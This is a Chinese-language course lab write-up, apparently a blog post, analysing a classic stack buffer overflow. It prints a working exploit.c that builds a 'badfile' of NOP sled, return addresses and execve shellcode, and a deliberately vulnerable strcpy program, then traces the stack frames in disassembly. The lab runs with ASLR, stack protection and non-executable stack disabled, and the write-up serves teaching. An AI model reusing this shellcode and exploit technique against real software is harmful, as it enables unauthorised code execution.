【软件与系统安全】上机作业practice1-栈溢出利用的分析

栈溢出利用的分析

实验环境:
Linux ubuntu 5.4.0-146-generic #163~18.04.1-Ubuntu 64bit

gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)

一、栈溢出攻击的原理

​ 栈溢出攻击是一种利用栈空间的缺陷,对程序进行非法操作的攻击方式。在C语言中,栈是一种用来存储函数调用过程中的局部变量、参数和返回地址等信息的内存区域。栈的结构通常是“先进后出”的,也就是说,最后进入栈的数据最先被处理。

​ 攻击者通过精心构造输入数据,将超过栈空间的数据写入栈中,覆盖原来存储的返回地址和局部变量等信息。当程序执行到这个被攻击者改写过的返回地址时,会跳转到攻击者预设的代码区域执行,从而控制程序的行为。

esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化

ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。

eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

​ 在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。

二、exploit.c和badfile的分析

生成badfile

本次实验中所用的终端是zsh,所以在exploit.c文件中将shellcode数组中的"\x68""//sh"改成"\x68""/zsh"

进入到文件目录进行编译:

image-20230418204343689

使用xxd badfile查看内容:

image-20230418210024186

shellcode数组进行反汇编如下:

xor		eax,eax 		# 清零 eax
push 	eax 			# push 0,将字符串截断
push 	0x68732f2f 		# push "/zsh"
push 	0x6e69622f 		# push "/bin",与前者合并为 "/bin/zsh" 字符串
						# 此时 esp 指向此字符串
mov 	ebx,esp 		# 使 ebp 指向字符串
push 	eax
push 	ebx
mov 	ecx,esp 		# 使 %ecx 指向字符串的地址,给 %ecx 赋值
cdq 					# 给 %edx 赋值,把 %eax 的第 31 bit 复制到 %edx 的每一个 bit 上
						# 实际上就是把 %edx 清零
mov 	al,0xb 			# 给 %eax 赋值,11 是 execve() 的系统调用号。
int 	0x80 			# 系统调用 execve("/bin/zsh",NULL,NULL)

exploit.c源代码分析

/* exploit.c */
/* 创建包含启动shell代码的文件“badfile”的程序 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define BUFFER_SIZE 517 // 定义缓冲区的大小
#define OFFSET 400 // 定义缓冲区偏移量

char shellcode[] =
  "\x31\xc0"    // xorl    %eax,%eax
  "\x50"        // pushl   %eax
  "\x68""/zsh"  // pushl   $0x68732f2f
  "\x68""/bin"  // pushl   $0x6e69622f
  "\x89\xe3"    // movl    %esp,%ebx
  "\x50"        // push    %eax
  "\x53"        // push    %ebx
  "\x89\xe1"    // mov     %esp,%ecx   # 给 %ecx 赋值
  "\x99"        // cdq                 # 给 %edx 赋值
  "\xb0\x0b"    // movb    $0x0b,%al   # 给 %eax 赋值,11 是 execve() 的系统调用号。
  "\xcd\x80"    // int     $0x80       # execve("/bin/zsh",0,0)
;

void fillBuffer(char buffer[BUFFER_SIZE]) {
  // 获取shellcode的大小
  int shellcodeSize = sizeof(shellcode);
  // 一个估计的返回地址,该地址最终将允许使用缓冲区的地址和偏移量值(在这种情况下为400字节)来执行shellcode
  long *returnAddress = (long *) (buffer+OFFSET);
  // 获取缓冲区的长整型指针,以引用堆栈内存地址中的每个4字节的十六进制数
  long *bufferPtr = (long *) buffer;
  int i;
  // 获取null-terminated shellcode在缓冲区中的起始索引(即,null-terminated shellcode插入到缓冲区的末尾)
  int shellcodeStartIndex = (BUFFER_SIZE-(shellcodeSize+1));
  // shellcode的计数器
  int shellcodeCounter = 0;
  // 循环25次(每次从缓冲区开始修改堆栈内存地址中的4字节十六进制数)
  for (i = 0; i < 25; i++) {
    *bufferPtr = (long) returnAddress; // 将估计的返回地址分配给堆栈内存地址中的4字节十六进制数
    bufferPtr++; // 前往堆栈内存地址中的下一个4字节十六进制数(因为长整型是4字节的一部分)
  }
  // 将shellcode(不包括空终止符)插入到缓冲区的末尾
  for (i = shellcodeStartIndex; i < (BUFFER_SIZE-1); i++) {
    buffer[i] = shellcode[shellcodeCounter];
    shellcodeCounter++;
  }
  // 用空终止符将shellcode终止
  buffer[BUFFER_SIZE-1] = '\0';
}

void main(int argc, char **argv) {
  char buffer[BUFFER_SIZE];
  FILE *badfile;
  /* 使用0x90(NOP指令)初始化缓冲区 */
  memset(&buffer, 0x90, BUFFER_SIZE);
  /* 在这里填充缓冲区的适当内容 */
  fillBuffer(buffer);
  /* 将内容保存到文件“badfile”中 */
  badfile = fopen("./badfile", "w");
  fwrite(buffer, BUFFER_SIZE, 1, badfile);
  fclose(badfile);
}

程序和文件简要分析

  • main

首先定义数组 char buffer[BUFFER_SIZE] ,然后将其用 0x90(也就是 NOP 指令,用于内存对齐,不会做任何操作)填充然后调用 fillBuffer(buffer) ,对 buffer 填充合适的内容,最后将 buffer 内容写入 badfile .

  • fillBuffer - 见源代码注释

  • badfile 文件

    • 返回地址
      用于覆盖 stack 程序的 bof 函数的返回地址,以便在 ret 时跳转到 nop 指令

    • nop 指令

      填充 NOP 指令, 为恶意代码创建了大量入口点。

    • shellcode
      getshell的指令

image-20230421164206549

三、stack运行和getshell

根据README的命令,运行stack程序,可以看到成功拿到shell

注:图中命令出现的白色和红色是zsh代码补全插件导致,不影响实验中实际shell命令的执行

image-20230418210400824

四、stack程序详细分析

主要代码:

#define BUFFER_SIZE 517 // 定义缓冲区大小

int bof(char *str)
{
    char buffer[24]; // 定义一个本地缓冲区来存储数据
    /* 下面这条语句存在缓冲区溢出问题 */
    strcpy(buffer, str); // 将输入字符串复制到缓冲区,没有进行边界检查
    return 1;
}

int main(int argc, char **argv)
{
    char str[BUFFER_SIZE];                          // 声明一个大小为 BUFFER_SIZE 的字符数组
    FILE *badfile;                                  
    badfile = fopen("badfile", "r");                
    fread(str, sizeof(char), BUFFER_SIZE, badfile); // 读取文件内容到 str 中
    bof(str);                                       // 调用存在漏洞的函数,并将 str 作为参数传入
    printf("Returned Properly\n");                  // 输出 "Returned Properly"
    return 1;
}

程序栈帧的主要变化有以下几个部分:

  • call fread 后,call bof 前
  • call bof 后, call strcpy 前
  • call strcpy 后,bof 内 ret 前
  • 从bof 返回main 后

main函数开始:

08049229 <main>:
 8049229:	f3 0f 1e fb          	endbr32 
 804922d:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 8049231:	83 e4 f0             	and    $0xfffffff0,%esp
 8049234:	ff 71 fc             	pushl  -0x4(%ecx)
 8049237:	55                   	push   %ebp
 8049238:	89 e5                	mov    %esp,%ebp
 804923a:	53                   	push   %ebx
 804923b:	51                   	push   %ecx
 804923c:	81 ec 10 02 00 00    	sub    $0x210,%esp
 8049242:	e8 e9 fe ff ff       	call   8049130 <__x86.get_pc_thunk.bx>

 8049247:	81 c3 b9 2d 00 00    	add    $0x2db9,%ebx

# stack.c:23:     badfile = fopen("badfile", "r");
 804924d:	83 ec 08             	sub    $0x8,%esp
 8049250:	8d 83 08 e0 ff ff    	lea    -0x1ff8(%ebx),%eax
 8049256:	50                   	push   %eax
 8049257:	8d 83 0a e0 ff ff    	lea    -0x1ff6(%ebx),%eax
 804925d:	50                   	push   %eax
 804925e:	e8 6d fe ff ff       	call   80490d0 <fopen@plt>
 8049263:	83 c4 10             	add    $0x10,%esp
 8049266:	89 45 f4             	mov    %eax,-0xc(%ebp)

# stack.c:24:     fread(str, sizeof(char), 517, badfile);
 8049269:	ff 75 f4             	pushl  -0xc(%ebp)
 804926c:	68 05 02 00 00       	push   $0x205
 8049271:	6a 01                	push   $0x1
 8049273:	8d 85 ef fd ff ff    	lea    -0x211(%ebp),%eax
 8049279:	50                   	push   %eax
 804927a:	e8 11 fe ff ff       	call   8049090 <fread@plt>

image-20230421195535559

call fread 后,call bof 前

准备调用 fread(str, sizeof(char), BUFFER_SIZE, badfile)

# 依次将 badfile, BUFFER_SIZE(0x205), sizeof(char)(1), str 压栈
push DWORD PTR [ebp-0xc]
push 0x205
push 0x1
lea eax,[ebp-0x211]
push eax
# 然后调用 fread
call 8049050 <fread@plt>

image-20230421195602005

call bof 后, call strcpy 前

准备调用 bof(str)

# 将 str 地址通过 eax 压栈
lea eax,[ebp-0x211]
push eax
# call bof
call 80491a6 <bof>

image-20230421195621774

call strcpy 后,bof 内 ret 前

准备调用 strcpy(buffer, str)

# 将 str 地址压栈
push DWORD PTR [ebp+0x8]
# 将 buffer 地址通过 edx 压栈
lea edx,[ebp-0x20]
push edx
mov ebx,eax
# call strcpy
call 8049060 <strcpy@plt>

由于str的内容远大于buffer的容量,所以str的内容会向栈的高地址覆写

image-20230421195637369

从bof 返回main 后

add esp,0x10
mov eax,0x1
mov ebx,DWORD PTR [ebp-0x4]
leave
ret

执行leave后,关闭栈帧, esp指向如图所示位置

执行ret后,esp指向的堆栈数值被弹岀到eip,即返回地址的值,eip此时指向如图nop的位置

此时程序会沿着当前位置一直运行到 shellcode,即执行 execve("/bin/zsh",NULL,NULL),从而得到shell

image-20230421195637369

五、总结

本次栈溢出攻击实验,有以下关键点:

  • 在编译时使用了-z execstack(启用可执行堆栈)和 -fno-stack-protector(禁用栈保护)选项
  • 程序运行时关闭 ALSR(地址空间随机化),导致 shellcode 的地址可以直接确定
  • stack 程序中的 bof 函数存在栈溢出漏洞,修改 bof 函数的返回地址后,可以使程序一步步跳转到 shellcode 位置,从而实现栈溢出攻击,得到shell
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值